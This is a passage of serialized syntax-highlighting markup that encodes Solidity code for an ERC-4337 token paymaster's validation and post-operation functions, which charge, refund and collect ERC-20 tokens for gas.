unchecked",{"type":21,"tag":85,"props":103580,"children":103581},{"style":114},[103582],{"type":26,"value":148},{"type":21,"tag":85,"props":103584,"children":103585},{"class":87,"line":1100},[103586,103591,103596,103600],{"type":21,"tag":85,"props":103587,"children":103588},{"style":108},[103589],{"type":26,"value":103590},"            uint256",{"type":21,"tag":85,"props":103592,"children":103593},{"style":114},[103594],{"type":26,"value":103595}," priceMarkup ",{"type":21,"tag":85,"props":103597,"children":103598},{"style":169},[103599],{"type":26,"value":741},{"type":21,"tag":85,"props":103601,"children":103602},{"style":114},[103603],{"type":26,"value":103604}," tokenPaymasterConfig.priceMarkup;\n",{"type":21,"tag":85,"props":103606,"children":103607},{"class":87,"line":1339},[103608,103612,103617,103621],{"type":21,"tag":85,"props":103609,"children":103610},{"style":108},[103611],{"type":26,"value":103590},{"type":21,"tag":85,"props":103613,"children":103614},{"style":114},[103615],{"type":26,"value":103616}," baseFee ",{"type":21,"tag":85,"props":103618,"children":103619},{"style":169},[103620],{"type":26,"value":741},{"type":21,"tag":85,"props":103622,"children":103623},{"style":114},[103624],{"type":26,"value":103625}," tokenPaymasterConfig.baseFee;\n",{"type":21,"tag":85,"props":103627,"children":103628},{"class":87,"line":1348},[103629,103633,103638,103642,103647,103651],{"type":21,"tag":85,"props":103630,"children":103631},{"style":108},[103632],{"type":26,"value":103590},{"type":21,"tag":85,"props":103634,"children":103635},{"style":114},[103636],{"type":26,"value":103637}," dataLength ",{"type":21,"tag":85,"props":103639,"children":103640},{"style":169},[103641],{"type":26,"value":741},{"type":21,"tag":85,"props":103643,"children":103644},{"style":114},[103645],{"type":26,"value":103646}," userOp.paymasterAndData.length ",{"type":21,"tag":85,"props":103648,"children":103649},{"style":169},[103650],{"type":26,"value":5097},{"type":21,"tag":85,"props":103652,"children":103653},{"style":114},[103654],{"type":26,"value":103655}," PAYMASTER_DATA_OFFSET;\n",{"type":21,"tag":85,"props":103657,"children":103658},{"class":87,"line":1386},[103659,103664,103669,103673,103677,103681,103685,103689,103694,103698,103703],{"type":21,"tag":85,"props":103660,"children":103661},{"style":2885},[103662],{"type":26,"value":103663},"            require",{"type":21,"tag":85,"props":103665,"children":103666},{"style":114},[103667],{"type":26,"value":103668},"(dataLength ",{"type":21,"tag":85,"props":103670,"children":103671},{"style":169},[103672],{"type":26,"value":2936},{"type":21,"tag":85,"props":103674,"children":103675},{"style":2285},[103676],{"type":26,"value":2830},{"type":21,"tag":85,"props":103678,"children":103679},{"style":169},[103680],{"type":26,"value":24137},{"type":21,"tag":85,"props":103682,"children":103683},{"style":114},[103684],{"type":26,"value":103637},{"type":21,"tag":85,"props":103686,"children":103687},{"style":169},[103688],{"type":26,"value":2936},{"type":21,"tag":85,"props":103690,"children":103691},{"style":2285},[103692],{"type":26,"value":103693}," 32",{"type":21,"tag":85,"props":103695,"children":103696},{"style":114},[103697],{"type":26,"value":256},{"type":21,"tag":85,"props":103699,"children":103700},{"style":5026},[103701],{"type":26,"value":103702},"\"TPM: invalid data length\"",{"type":21,"tag":85,"props":103704,"children":103705},{"style":114},[103706],{"type":26,"value":777},{"type":21,"tag":85,"props":103708,"children":103709},{"class":87,"line":1394},[103710,103714,103719,103723,103728,103733],{"type":21,"tag":85,"props":103711,"children":103712},{"style":108},[103713],{"type":26,"value":103590},{"type":21,"tag":85,"props":103715,"children":103716},{"style":114},[103717],{"type":26,"value":103718}," maxFeePerGas ",{"type":21,"tag":85,"props":103720,"children":103721},{"style":169},[103722],{"type":26,"value":741},{"type":21,"tag":85,"props":103724,"children":103725},{"style":114},[103726],{"type":26,"value":103727}," userOp.",{"type":21,"tag":85,"props":103729,"children":103730},{"style":1021},[103731],{"type":26,"value":103732},"unpackMaxFeePerGas",{"type":21,"tag":85,"props":103734,"children":103735},{"style":114},[103736],{"type":26,"value":4437},{"type":21,"tag":85,"props":103738,"children":103739},{"class":87,"line":1402},[103740,103744,103749,103753],{"type":21,"tag":85,"props":103741,"children":103742},{"style":108},[103743],{"type":26,"value":103590},{"type":21,"tag":85,"props":103745,"children":103746},{"style":114},[103747],{"type":26,"value":103748}," refundPostopCost ",{"type":21,"tag":85,"props":103750,"children":103751},{"style":169},[103752],{"type":26,"value":741},{"type":21,"tag":85,"props":103754,"children":103755},{"style":114},[103756],{"type":26,"value":103757}," tokenPaymasterConfig.refundPostopCost;\n",{"type":21,"tag":85,"props":103759,"children":103760},{"class":87,"line":3145},[103761,103765,103770,103774,103778,103783,103787,103792],{"type":21,"tag":85,"props":103762,"children":103763},{"style":2885},[103764],{"type":26,"value":103663},{"type":21,"tag":85,"props":103766,"children":103767},{"style":114},[103768],{"type":26,"value":103769},"(refundPostopCost ",{"type":21,"tag":85,"props":103771,"children":103772},{"style":169},[103773],{"type":26,"value":117},{"type":21,"tag":85,"props":103775,"children":103776},{"style":114},[103777],{"type":26,"value":103727},{"type":21,"tag":85,"props":103779,"children":103780},{"style":1021},[103781],{"type":26,"value":103782},"unpackPostOpGasLimit",{"type":21,"tag":85,"props":103784,"children":103785},{"style":114},[103786],{"type":26,"value":18799},{"type":21,"tag":85,"props":103788,"children":103789},{"style":5026},[103790],{"type":26,"value":103791},"\"TPM: postOpGasLimit too low\"",{"type":21,"tag":85,"props":103793,"children":103794},{"style":114},[103795],{"type":26,"value":777},{"type":21,"tag":85,"props":103797,"children":103798},{"class":87,"line":3246},[103799,103803,103808,103812,103817,103821,103826,103830],{"type":21,"tag":85,"props":103800,"children":103801},{"style":108},[103802],{"type":26,"value":103590},{"type":21,"tag":85,"props":103804,"children":103805},{"style":114},[103806],{"type":26,"value":103807}," preChargeNative ",{"type":21,"tag":85,"props":103809,"children":103810},{"style":169},[103811],{"type":26,"value":741},{"type":21,"tag":85,"props":103813,"children":103814},{"style":114},[103815],{"type":26,"value":103816}," requiredPreFund ",{"type":21,"tag":85,"props":103818,"children":103819},{"style":169},[103820],{"type":26,"value":5151},{"type":21,"tag":85,"props":103822,"children":103823},{"style":114},[103824],{"type":26,"value":103825}," (refundPostopCost ",{"type":21,"tag":85,"props":103827,"children":103828},{"style":169},[103829],{"type":26,"value":3052},{"type":21,"tag":85,"props":103831,"children":103832},{"style":114},[103833],{"type":26,"value":103834}," maxFeePerGas);\n",{"type":21,"tag":85,"props":103836,"children":103837},{"class":87,"line":3255},[103838,103843,103847],{"type":21,"tag":85,"props":103839,"children":103840},{"style":92},[103841],{"type":26,"value":103842},"            // ",{"type":21,"tag":85,"props":103844,"children":103845},{"style":102},[103846],{"type":26,"value":67218},{"type":21,"tag":85,"props":103848,"children":103849},{"style":92},[103850],{"type":26,"value":103851},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":21,"tag":85,"props":103853,"children":103854},{"class":87,"line":3286},[103855,103859,103864,103868,103873,103877,103882,103886],{"type":21,"tag":85,"props":103856,"children":103857},{"style":108},[103858],{"type":26,"value":103590},{"type":21,"tag":85,"props":103860,"children":103861},{"style":114},[103862],{"type":26,"value":103863}," cachedPriceWithMarkup ",{"type":21,"tag":85,"props":103865,"children":103866},{"style":169},[103867],{"type":26,"value":741},{"type":21,"tag":85,"props":103869,"children":103870},{"style":114},[103871],{"type":26,"value":103872}," cachedPrice ",{"type":21,"tag":85,"props":103874,"children":103875},{"style":169},[103876],{"type":26,"value":3052},{"type":21,"tag":85,"props":103878,"children":103879},{"style":114},[103880],{"type":26,"value":103881}," DENOM ",{"type":21,"tag":85,"props":103883,"children":103884},{"style":169},[103885],{"type":26,"value":5349},{"type":21,"tag":85,"props":103887,"children":103888},{"style":114},[103889],{"type":26,"value":103890}," priceMarkup;\n",{"type":21,"tag":85,"props":103892,"children":103893},{"class":87,"line":3295},[103894,103898,103903,103907,103911],{"type":21,"tag":85,"props":103895,"children":103896},{"style":2885},[103897],{"type":26,"value":59258},{"type":21,"tag":85,"props":103899,"children":103900},{"style":114},[103901],{"type":26,"value":103902}," (dataLength ",{"type":21,"tag":85,"props":103904,"children":103905},{"style":169},[103906],{"type":26,"value":2936},{"type":21,"tag":85,"props":103908,"children":103909},{"style":2285},[103910],{"type":26,"value":103693},{"type":21,"tag":85,"props":103912,"children":103913},{"style":114},[103914],{"type":26,"value":15222},{"type":21,"tag":85,"props":103916,"children":103917},{"class":87,"line":3308},[103918,103923,103928],{"type":21,"tag":85,"props":103919,"children":103920},{"style":108},[103921],{"type":26,"value":103922},"                uint256",{"type":21,"tag":85,"props":103924,"children":103925},{"style":114},[103926],{"type":26,"value":103927}," clientSuppliedPrice ",{"type":21,"tag":85,"props":103929,"children":103930},{"style":169},[103931],{"type":26,"value":15111},{"type":21,"tag":85,"props":103933,"children":103934},{"class":87,"line":3333},[103935,103940,103944,103948,103953,103957,103962,103966,103970],{"type":21,"tag":85,"props":103936,"children":103937},{"style":108},[103938],{"type":26,"value":103939},"                    uint256",{"type":21,"tag":85,"props":103941,"children":103942},{"style":114},[103943],{"type":26,"value":1439},{"type":21,"tag":85,"props":103945,"children":103946},{"style":108},[103947],{"type":26,"value":103488},{"type":21,"tag":85,"props":103949,"children":103950},{"style":114},[103951],{"type":26,"value":103952},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":21,"tag":85,"props":103954,"children":103955},{"style":169},[103956],{"type":26,"value":172},{"type":21,"tag":85,"props":103958,"children":103959},{"style":114},[103960],{"type":26,"value":103961},"PAYMASTER_DATA_OFFSET ",{"type":21,"tag":85,"props":103963,"children":103964},{"style":169},[103965],{"type":26,"value":5151},{"type":21,"tag":85,"props":103967,"children":103968},{"style":2285},[103969],{"type":26,"value":103693},{"type":21,"tag":85,"props":103971,"children":103972},{"style":114},[103973],{"type":26,"value":103974},"]));\n",{"type":21,"tag":85,"props":103976,"children":103977},{"class":87,"line":3369},[103978,103983,103988,103992],{"type":21,"tag":85,"props":103979,"children":103980},{"style":2885},[103981],{"type":26,"value":103982},"                if",{"type":21,"tag":85,"props":103984,"children":103985},{"style":114},[103986],{"type":26,"value":103987}," (clientSuppliedPrice ",{"type":21,"tag":85,"props":103989,"children":103990},{"style":169},[103991],{"type":26,"value":117},{"type":21,"tag":85,"props":103993,"children":103994},{"style":114},[103995],{"type":26,"value":103996}," cachedPriceWithMarkup) {\n",{"type":21,"tag":85,"props":103998,"children":103999},{"class":87,"line":3377},[104000,104005,104009],{"type":21,"tag":85,"props":104001,"children":104002},{"style":92},[104003],{"type":26,"value":104004},"                    // ",{"type":21,"tag":85,"props":104006,"children":104007},{"style":102},[104008],{"type":26,"value":67218},{"type":21,"tag":85,"props":104010,"children":104011},{"style":92},[104012],{"type":26,"value":104013},": smaller number means 'more native asset per token'\n",{"type":21,"tag":85,"props":104015,"children":104016},{"class":87,"line":3386},[104017,104022,104026],{"type":21,"tag":85,"props":104018,"children":104019},{"style":114},[104020],{"type":26,"value":104021},"                    cachedPriceWithMarkup ",{"type":21,"tag":85,"props":104023,"children":104024},{"style":169},[104025],{"type":26,"value":741},{"type":21,"tag":85,"props":104027,"children":104028},{"style":114},[104029],{"type":26,"value":104030}," clientSuppliedPrice;\n",{"type":21,"tag":85,"props":104032,"children":104033},{"class":87,"line":3394},[104034],{"type":21,"tag":85,"props":104035,"children":104036},{"style":114},[104037],{"type":26,"value":71531},{"type":21,"tag":85,"props":104039,"children":104040},{"class":87,"line":3410},[104041],{"type":21,"tag":85,"props":104042,"children":104043},{"style":114},[104044],{"type":26,"value":59342},{"type":21,"tag":85,"props":104046,"children":104047},{"class":87,"line":3427},[104048,104052,104057,104061,104066],{"type":21,"tag":85,"props":104049,"children":104050},{"style":108},[104051],{"type":26,"value":103590},{"type":21,"tag":85,"props":104053,"children":104054},{"style":114},[104055],{"type":26,"value":104056}," tokenAmount ",{"type":21,"tag":85,"props":104058,"children":104059},{"style":169},[104060],{"type":26,"value":741},{"type":21,"tag":85,"props":104062,"children":104063},{"style":1021},[104064],{"type":26,"value":104065}," weiToToken",{"type":21,"tag":85,"props":104067,"children":104068},{"style":114},[104069],{"type":26,"value":104070},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":21,"tag":85,"props":104072,"children":104073},{"class":87,"line":3445},[104074,104079,104083],{"type":21,"tag":85,"props":104075,"children":104076},{"style":114},[104077],{"type":26,"value":104078},"            tokenAmount ",{"type":21,"tag":85,"props":104080,"children":104081},{"style":169},[104082],{"type":26,"value":68897},{"type":21,"tag":85,"props":104084,"children":104085},{"style":114},[104086],{"type":26,"value":104087}," baseFee;\n",{"type":21,"tag":85,"props":104089,"children":104090},{"class":87,"line":3490},[104091,104096,104101,104106,104110,104114,104118],{"type":21,"tag":85,"props":104092,"children":104093},{"style":114},[104094],{"type":26,"value":104095},"            SafeERC20.",{"type":21,"tag":85,"props":104097,"children":104098},{"style":1021},[104099],{"type":26,"value":104100},"safeTransferFrom",{"type":21,"tag":85,"props":104102,"children":104103},{"style":114},[104104],{"type":26,"value":104105},"(token, userOp.sender, ",{"type":21,"tag":85,"props":104107,"children":104108},{"style":108},[104109],{"type":26,"value":33086},{"type":21,"tag":85,"props":104111,"children":104112},{"style":114},[104113],{"type":26,"value":1439},{"type":21,"tag":85,"props":104115,"children":104116},{"style":102},[104117],{"type":26,"value":18116},{"type":21,"tag":85,"props":104119,"children":104120},{"style":114},[104121],{"type":26,"value":104122},"), tokenAmount);\n",{"type":21,"tag":85,"props":104124,"children":104125},{"class":87,"line":3596},[104126,104131,104135,104140,104144,104149],{"type":21,"tag":85,"props":104127,"children":104128},{"style":114},[104129],{"type":26,"value":104130},"            context ",{"type":21,"tag":85,"props":104132,"children":104133},{"style":169},[104134],{"type":26,"value":741},{"type":21,"tag":85,"props":104136,"children":104137},{"style":102},[104138],{"type":26,"value":104139}," abi",{"type":21,"tag":85,"props":104141,"children":104142},{"style":114},[104143],{"type":26,"value":73},{"type":21,"tag":85,"props":104145,"children":104146},{"style":1021},[104147],{"type":26,"value":104148},"encode",{"type":21,"tag":85,"props":104150,"children":104151},{"style":114},[104152],{"type":26,"value":104153},"(tokenAmount, userOp.sender);\n",{"type":21,"tag":85,"props":104155,"children":104156},{"class":87,"line":23938},[104157,104162],{"type":21,"tag":85,"props":104158,"children":104159},{"style":114},[104160],{"type":26,"value":104161},"            validationResult ",{"type":21,"tag":85,"props":104163,"children":104164},{"style":169},[104165],{"type":26,"value":15111},{"type":21,"tag":85,"props":104167,"children":104168},{"class":87,"line":23973},[104169,104174,104178,104182,104186,104191,104196,104200,104205,104209],{"type":21,"tag":85,"props":104170,"children":104171},{"style":1021},[104172],{"type":26,"value":104173},"                _packValidationData",{"type":21,"tag":85,"props":104175,"children":104176},{"style":114},[104177],{"type":26,"value":1439},{"type":21,"tag":85,"props":104179,"children":104180},{"style":102},[104181],{"type":26,"value":2530},{"type":21,"tag":85,"props":104183,"children":104184},{"style":114},[104185],{"type":26,"value":256},{"type":21,"tag":85,"props":104187,"children":104188},{"style":108},[104189],{"type":26,"value":104190},"uint48",{"type":21,"tag":85,"props":104192,"children":104193},{"style":114},[104194],{"type":26,"value":104195},"(cachedPriceTimestamp ",{"type":21,"tag":85,"props":104197,"children":104198},{"style":169},[104199],{"type":26,"value":5151},{"type":21,"tag":85,"props":104201,"children":104202},{"style":114},[104203],{"type":26,"value":104204}," tokenPaymasterConfig.priceMaxAge), ",{"type":21,"tag":85,"props":104206,"children":104207},{"style":2285},[104208],{"type":26,"value":4789},{"type":21,"tag":85,"props":104210,"children":104211},{"style":114},[104212],{"type":26,"value":777},{"type":21,"tag":85,"props":104214,"children":104215},{"class":87,"line":23981},[104216],{"type":21,"tag":85,"props":104217,"children":104218},{"style":114},[104219],{"type":26,"value":4118},{"type":21,"tag":85,"props":104221,"children":104222},{"class":87,"line":23989},[104223],{"type":21,"tag":85,"props":104224,"children":104225},{"style":114},[104226],{"type":26,"value":507},{"type":21,"tag":85,"props":104228,"children":104229},{"class":87,"line":23998},[104230],{"type":21,"tag":85,"props":104231,"children":104232},{"style":114},[104233],{"type":26,"value":10733},{"type":21,"tag":85,"props":104235,"children":104236},{"class":87,"line":24040},[104237,104241,104246,104250,104255,104259,104263,104267,104271,104275,104279,104284,104288,104292,104297],{"type":21,"tag":85,"props":104238,"children":104239},{"style":102},[104240],{"type":26,"value":90293},{"type":21,"tag":85,"props":104242,"children":104243},{"style":1021},[104244],{"type":26,"value":104245}," _postOp",{"type":21,"tag":85,"props":104247,"children":104248},{"style":114},[104249],{"type":26,"value":1439},{"type":21,"tag":85,"props":104251,"children":104252},{"style":102},[104253],{"type":26,"value":104254},"PostOpMode",{"type":21,"tag":85,"props":104256,"children":104257},{"style":114},[104258],{"type":26,"value":256},{"type":21,"tag":85,"props":104260,"children":104261},{"style":108},[104262],{"type":26,"value":84290},{"type":21,"tag":85,"props":104264,"children":104265},{"style":102},[104266],{"type":26,"value":103474},{"type":21,"tag":85,"props":104268,"children":104269},{"style":120},[104270],{"type":26,"value":76802},{"type":21,"tag":85,"props":104272,"children":104273},{"style":114},[104274],{"type":26,"value":256},{"type":21,"tag":85,"props":104276,"children":104277},{"style":108},[104278],{"type":26,"value":46622},{"type":21,"tag":85,"props":104280,"children":104281},{"style":120},[104282],{"type":26,"value":104283}," actualGasCost",{"type":21,"tag":85,"props":104285,"children":104286},{"style":114},[104287],{"type":26,"value":256},{"type":21,"tag":85,"props":104289,"children":104290},{"style":108},[104291],{"type":26,"value":46622},{"type":21,"tag":85,"props":104293,"children":104294},{"style":120},[104295],{"type":26,"value":104296}," actualUserOpFeePerGas",{"type":21,"tag":85,"props":104298,"children":104299},{"style":114},[104300],{"type":26,"value":2485},{"type":21,"tag":85,"props":104302,"children":104303},{"class":87,"line":24073},[104304],{"type":21,"tag":85,"props":104305,"children":104306},{"style":102},[104307],{"type":26,"value":103513},{"type":21,"tag":85,"props":104309,"children":104310},{"class":87,"line":24081},[104311],{"type":21,"tag":85,"props":104312,"children":104313},{"style":102},[104314],{"type":26,"value":103521},{"type":21,"tag":85,"props":104316,"children":104317},{"class":87,"line":24089},[104318],{"type":21,"tag":85,"props":104319,"children":104320},{"style":114},[104321],{"type":26,"value":29630},{"type":21,"tag":85,"props":104323,"children":104324},{"class":87,"line":24098},[104325,104329],{"type":21,"tag":85,"props":104326,"children":104327},{"style":2885},[104328],{"type":26,"value":103578},{"type":21,"tag":85,"props":104330,"children":104331},{"style":114},[104332],{"type":26,"value":148},{"type":21,"tag":85,"props":104334,"children":104335},{"class":87,"line":24174},[104336,104340,104344,104348],{"type":21,"tag":85,"props":104337,"children":104338},{"style":108},[104339],{"type":26,"value":103590},{"type":21,"tag":85,"props":104341,"children":104342},{"style":114},[104343],{"type":26,"value":103595},{"type":21,"tag":85,"props":104345,"children":104346},{"style":169},[104347],{"type":26,"value":741},{"type":21,"tag":85,"props":104349,"children":104350},{"style":114},[104351],{"type":26,"value":103604},{"type":21,"tag":85,"props":104353,"children":104354},{"class":87,"line":24207},[104355,104359,104363,104367],{"type":21,"tag":85,"props":104356,"children":104357},{"style":108},[104358],{"type":26,"value":103590},{"type":21,"tag":85,"props":104360,"children":104361},{"style":114},[104362],{"type":26,"value":103616},{"type":21,"tag":85,"props":104364,"children":104365},{"style":169},[104366],{"type":26,"value":741},{"type":21,"tag":85,"props":104368,"children":104369},{"style":114},[104370],{"type":26,"value":103625},{"type":21,"tag":85,"props":104372,"children":104373},{"class":87,"line":24215},[104374,104379,104383,104388,104392,104397,104401,104405,104409,104414,104419,104423,104427,104431],{"type":21,"tag":85,"props":104375,"children":104376},{"style":114},[104377],{"type":26,"value":104378},"            (",{"type":21,"tag":85,"props":104380,"children":104381},{"style":108},[104382],{"type":26,"value":46622},{"type":21,"tag":85,"props":104384,"children":104385},{"style":114},[104386],{"type":26,"value":104387}," preCharge, ",{"type":21,"tag":85,"props":104389,"children":104390},{"style":108},[104391],{"type":26,"value":33086},{"type":21,"tag":85,"props":104393,"children":104394},{"style":114},[104395],{"type":26,"value":104396}," userOpSender) ",{"type":21,"tag":85,"props":104398,"children":104399},{"style":169},[104400],{"type":26,"value":741},{"type":21,"tag":85,"props":104402,"children":104403},{"style":102},[104404],{"type":26,"value":104139},{"type":21,"tag":85,"props":104406,"children":104407},{"style":114},[104408],{"type":26,"value":73},{"type":21,"tag":85,"props":104410,"children":104411},{"style":1021},[104412],{"type":26,"value":104413},"decode",{"type":21,"tag":85,"props":104415,"children":104416},{"style":114},[104417],{"type":26,"value":104418},"(context, (",{"type":21,"tag":85,"props":104420,"children":104421},{"style":108},[104422],{"type":26,"value":46622},{"type":21,"tag":85,"props":104424,"children":104425},{"style":114},[104426],{"type":26,"value":256},{"type":21,"tag":85,"props":104428,"children":104429},{"style":108},[104430],{"type":26,"value":33086},{"type":21,"tag":85,"props":104432,"children":104433},{"style":114},[104434],{"type":26,"value":1569},{"type":21,"tag":85,"props":104436,"children":104437},{"class":87,"line":24223},[104438,104443,104448,104453],{"type":21,"tag":85,"props":104439,"children":104440},{"style":114},[104441],{"type":26,"value":104442},"            preCharge ",{"type":21,"tag":85,"props":104444,"children":104445},{"style":169},[104446],{"type":26,"value":104447},"-=",{"type":21,"tag":85,"props":104449,"children":104450},{"style":114},[104451],{"type":26,"value":104452}," baseFee; ",{"type":21,"tag":85,"props":104454,"children":104455},{"style":92},[104456],{"type":26,"value":104457},"// don't refund the base fee\n",{"type":21,"tag":85,"props":104459,"children":104460},{"class":87,"line":24260},[104461,104465,104470,104474,104479,104483,104487],{"type":21,"tag":85,"props":104462,"children":104463},{"style":108},[104464],{"type":26,"value":103590},{"type":21,"tag":85,"props":104466,"children":104467},{"style":114},[104468],{"type":26,"value":104469}," _cachedPrice ",{"type":21,"tag":85,"props":104471,"children":104472},{"style":169},[104473],{"type":26,"value":741},{"type":21,"tag":85,"props":104475,"children":104476},{"style":1021},[104477],{"type":26,"value":104478}," updateCachedPrice",{"type":21,"tag":85,"props":104480,"children":104481},{"style":114},[104482],{"type":26,"value":1439},{"type":21,"tag":85,"props":104484,"children":104485},{"style":102},[104486],{"type":26,"value":2530},{"type":21,"tag":85,"props":104488,"children":104489},{"style":114},[104490],{"type":26,"value":777},{"type":21,"tag":85,"props":104492,"children":104493},{"class":87,"line":24273},[104494,104498,104502],{"type":21,"tag":85,"props":104495,"children":104496},{"style":92},[104497],{"type":26,"value":103842},{"type":21,"tag":85,"props":104499,"children":104500},{"style":102},[104501],{"type":26,"value":67218},{"type":21,"tag":85,"props":104503,"children":104504},{"style":92},[104505],{"type":26,"value":103851},{"type":21,"tag":85,"props":104507,"children":104508},{"class":87,"line":24286},[104509,104513,104517,104521,104525,104529,104533,104537],{"type":21,"tag":85,"props":104510,"children":104511},{"style":108},[104512],{"type":26,"value":103590},{"type":21,"tag":85,"props":104514,"children":104515},{"style":114},[104516],{"type":26,"value":103863},{"type":21,"tag":85,"props":104518,"children":104519},{"style":169},[104520],{"type":26,"value":741},{"type":21,"tag":85,"props":104522,"children":104523},{"style":114},[104524],{"type":26,"value":104469},{"type":21,"tag":85,"props":104526,"children":104527},{"style":169},[104528],{"type":26,"value":3052},{"type":21,"tag":85,"props":104530,"children":104531},{"style":114},[104532],{"type":26,"value":103881},{"type":21,"tag":85,"props":104534,"children":104535},{"style":169},[104536],{"type":26,"value":5349},{"type":21,"tag":85,"props":104538,"children":104539},{"style":114},[104540],{"type":26,"value":103890},{"type":21,"tag":85,"props":104542,"children":104543},{"class":87,"line":24299},[104544],{"type":21,"tag":85,"props":104545,"children":104546},{"style":92},[104547],{"type":26,"value":104548},"            // Refund tokens based on actual gas cost\n",{"type":21,"tag":85,"props":104550,"children":104551},{"class":87,"line":24353},[104552,104556,104561,104565,104570,104574,104579,104583],{"type":21,"tag":85,"props":104553,"children":104554},{"style":108},[104555],{"type":26,"value":103590},{"type":21,"tag":85,"props":104557,"children":104558},{"style":114},[104559],{"type":26,"value":104560}," actualChargeNative ",{"type":21,"tag":85,"props":104562,"children":104563},{"style":169},[104564],{"type":26,"value":741},{"type":21,"tag":85,"props":104566,"children":104567},{"style":114},[104568],{"type":26,"value":104569}," actualGasCost ",{"type":21,"tag":85,"props":104571,"children":104572},{"style":169},[104573],{"type":26,"value":5151},{"type":21,"tag":85,"props":104575,"children":104576},{"style":114},[104577],{"type":26,"value":104578}," tokenPaymasterConfig.refundPostopCost ",{"type":21,"tag":85,"props":104580,"children":104581},{"style":169},[104582],{"type":26,"value":3052},{"type":21,"tag":85,"props":104584,"children":104585},{"style":114},[104586],{"type":26,"value":104587}," actualUserOpFeePerGas;\n",{"type":21,"tag":85,"props":104589,"children":104590},{"class":87,"line":24362},[104591,104595,104600,104604,104608],{"type":21,"tag":85,"props":104592,"children":104593},{"style":108},[104594],{"type":26,"value":103590},{"type":21,"tag":85,"props":104596,"children":104597},{"style":114},[104598],{"type":26,"value":104599}," actualTokenNeeded ",{"type":21,"tag":85,"props":104601,"children":104602},{"style":169},[104603],{"type":26,"value":741},{"type":21,"tag":85,"props":104605,"children":104606},{"style":1021},[104607],{"type":26,"value":104065},{"type":21,"tag":85,"props":104609,"children":104610},{"style":114},[104611],{"type":26,"value":104612},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":21,"tag":85,"props":104614,"children":104615},{"class":87,"line":32726},[104616,104620,104625,104629],{"type":21,"tag":85,"props":104617,"children":104618},{"style":2885},[104619],{"type":26,"value":59258},{"type":21,"tag":85,"props":104621,"children":104622},{"style":114},[104623],{"type":26,"value":104624}," (preCharge ",{"type":21,"tag":85,"props":104626,"children":104627},{"style":169},[104628],{"type":26,"value":10877},{"type":21,"tag":85,"props":104630,"children":104631},{"style":114},[104632],{"type":26,"value":104633}," actualTokenNeeded) {\n",{"type":21,"tag":85,"props":104635,"children":104636},{"class":87,"line":32747},[104637],{"type":21,"tag":85,"props":104638,"children":104639},{"style":92},[104640],{"type":26,"value":104641},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":21,"tag":85,"props":104643,"children":104644},{"class":87,"line":81413},[104645,104650,104655,104660,104664],{"type":21,"tag":85,"props":104646,"children":104647},{"style":114},[104648],{"type":26,"value":104649},"                SafeERC20.",{"type":21,"tag":85,"props":104651,"children":104652},{"style":1021},[104653],{"type":26,"value":104654},"safeTransfer",{"type":21,"tag":85,"props":104656,"children":104657},{"style":114},[104658],{"type":26,"value":104659},"(token, userOpSender, preCharge ",{"type":21,"tag":85,"props":104661,"children":104662},{"style":169},[104663],{"type":26,"value":5097},{"type":21,"tag":85,"props":104665,"children":104666},{"style":114},[104667],{"type":26,"value":104668}," actualTokenNeeded);\n",{"type":21,"tag":85,"props":104670,"children":104671},{"class":87,"line":81426},[104672,104676,104680,104684,104688,104692],{"type":21,"tag":85,"props":104673,"children":104674},{"style":114},[104675],{"type":26,"value":71054},{"type":21,"tag":85,"props":104677,"children":104678},{"style":2885},[104679],{"type":26,"value":4086},{"type":21,"tag":85,"props":104681,"children":104682},{"style":2885},[104683],{"type":26,"value":16208},{"type":21,"tag":85,"props":104685,"children":104686},{"style":114},[104687],{"type":26,"value":104624},{"type":21,"tag":85,"props":104689,"children":104690},{"style":169},[104691],{"type":26,"value":117},{"type":21,"tag":85,"props":104693,"children":104694},{"style":114},[104695],{"type":26,"value":104633},{"type":21,"tag":85,"props":104697,"children":104698},{"class":87,"line":81434},[104699],{"type":21,"tag":85,"props":104700,"children":104701},{"style":92},[104702],{"type":26,"value":104703},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":21,"tag":85,"props":104705,"children":104706},{"class":87,"line":81442},[104707],{"type":21,"tag":85,"props":104708,"children":104709},{"style":92},[104710],{"type":26,"value":104711},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":21,"tag":85,"props":104713,"children":104714},{"class":87,"line":81450},[104715,104719,104723,104728,104732,104736,104740,104745,104749],{"type":21,"tag":85,"props":104716,"children":104717},{"style":114},[104718],{"type":26,"value":104649},{"type":21,"tag":85,"props":104720,"children":104721},{"style":1021},[104722],{"type":26,"value":104100},{"type":21,"tag":85,"props":104724,"children":104725},{"style":114},[104726],{"type":26,"value":104727},"(token, userOpSender, ",{"type":21,"tag":85,"props":104729,"children":104730},{"style":108},[104731],{"type":26,"value":33086},{"type":21,"tag":85,"props":104733,"children":104734},{"style":114},[104735],{"type":26,"value":1439},{"type":21,"tag":85,"props":104737,"children":104738},{"style":102},[104739],{"type":26,"value":18116},{"type":21,"tag":85,"props":104741,"children":104742},{"style":114},[104743],{"type":26,"value":104744},"), actualTokenNeeded ",{"type":21,"tag":85,"props":104746,"children":104747},{"style":169},[104748],{"type":26,"value":5097},{"type":21,"tag":85,"props":104750,"children":104751},{"style":114},[104752],{"type":26,"value":104753}," preCharge);\n",{"type":21,"tag":85,"props":104755,"children":104756},{"class":87,"line":81490},[104757],{"type":21,"tag":85,"props":104758,"children":104759},{"style":114},[104760],{"type":26,"value":59342},{"type":21,"tag":85,"props":104762,"children":104763},{"class":87,"line":81498},[104764],{"type":21,"tag":85,"props":104765,"children":104766},{"emptyLinePlaceholder":16},[104767],{"type":26,"value":703},{"type":21,"tag":85,"props":104769,"children":104770},{"class":87,"line":88685},[104771,104775,104780,104784,104788],{"type":21,"tag":85,"props":104772,"children":104773},{"style":2885},[104774],{"type":26,"value":59258},{"type":21,"tag":85,"props":104776,"children":104777},{"style":114},[104778],{"type":26,"value":104779}," (baseFee 